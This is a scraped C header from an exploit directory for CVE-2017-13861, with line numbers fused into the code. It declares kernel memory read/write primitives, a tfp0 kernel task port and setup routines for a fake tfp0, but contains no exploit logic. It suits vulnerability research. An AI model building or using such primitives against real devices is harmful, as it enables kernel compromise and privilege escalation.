Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2017-13861/kmem.h
Views: 11780
#ifndef KernelMemory_h1#define KernelMemory_h23#include <mach/mach.h>4#include <stdbool.h>56/***** mach_vm.h *****/7kern_return_t mach_vm_read(8vm_map_t target_task,9mach_vm_address_t address,10mach_vm_size_t size,11vm_offset_t* data,12mach_msg_type_number_t* dataCnt);1314kern_return_t mach_vm_write(15vm_map_t target_task,16mach_vm_address_t address,17vm_offset_t data,18mach_msg_type_number_t dataCnt);1920kern_return_t mach_vm_read_overwrite(21vm_map_t target_task,22mach_vm_address_t address,23mach_vm_size_t size,24mach_vm_address_t data,25mach_vm_size_t* outsize);2627kern_return_t mach_vm_allocate(28vm_map_t target,29mach_vm_address_t* address,30mach_vm_size_t size,31int flags);3233kern_return_t mach_vm_deallocate(34vm_map_t target,35mach_vm_address_t address,36mach_vm_size_t size);3738kern_return_t mach_vm_protect(39vm_map_t target_task,40mach_vm_address_t address,41mach_vm_size_t size,42boolean_t set_maximum,43vm_prot_t new_protection);4445extern mach_port_t tfp0;4647size_t kread(uint64_t where, void* p, size_t size);48size_t kwrite(uint64_t where, const void* p, size_t size);4950#define rk32(kaddr) ReadKernel32(kaddr)51#define rk64(kaddr) ReadKernel64(kaddr)52uint32_t ReadKernel32(uint64_t kaddr);53uint64_t ReadKernel64(uint64_t kaddr);5455#define wk32(kaddr, val) WriteKernel32(kaddr, val)56#define wk64(kaddr, val) WriteKernel64(kaddr, val)57void WriteKernel32(uint64_t kaddr, uint32_t val);58void WriteKernel64(uint64_t kaddr, uint64_t val);5960bool wkbuffer(uint64_t kaddr, void* buffer, size_t length);61bool rkbuffer(uint64_t kaddr, void* buffer, size_t length);6263void kmemcpy(uint64_t dest, uint64_t src, uint32_t length);6465void kmem_protect(uint64_t kaddr, uint32_t size, int prot);6667uint64_t kmem_alloc(uint64_t size);68uint64_t kmem_alloc_wired(uint64_t size);69void kmem_free(uint64_t kaddr, uint64_t size);7071void prepare_rk_via_kmem_read_port(mach_port_t port);72void prepare_rwk_via_tfp0(mach_port_t port);73void prepare_for_rw_with_fake_tfp0(mach_port_t fake_tfp0);7475// query whether kmem read or write is present76bool have_kmem_read(void);77bool have_kmem_write(void);7879#endif808182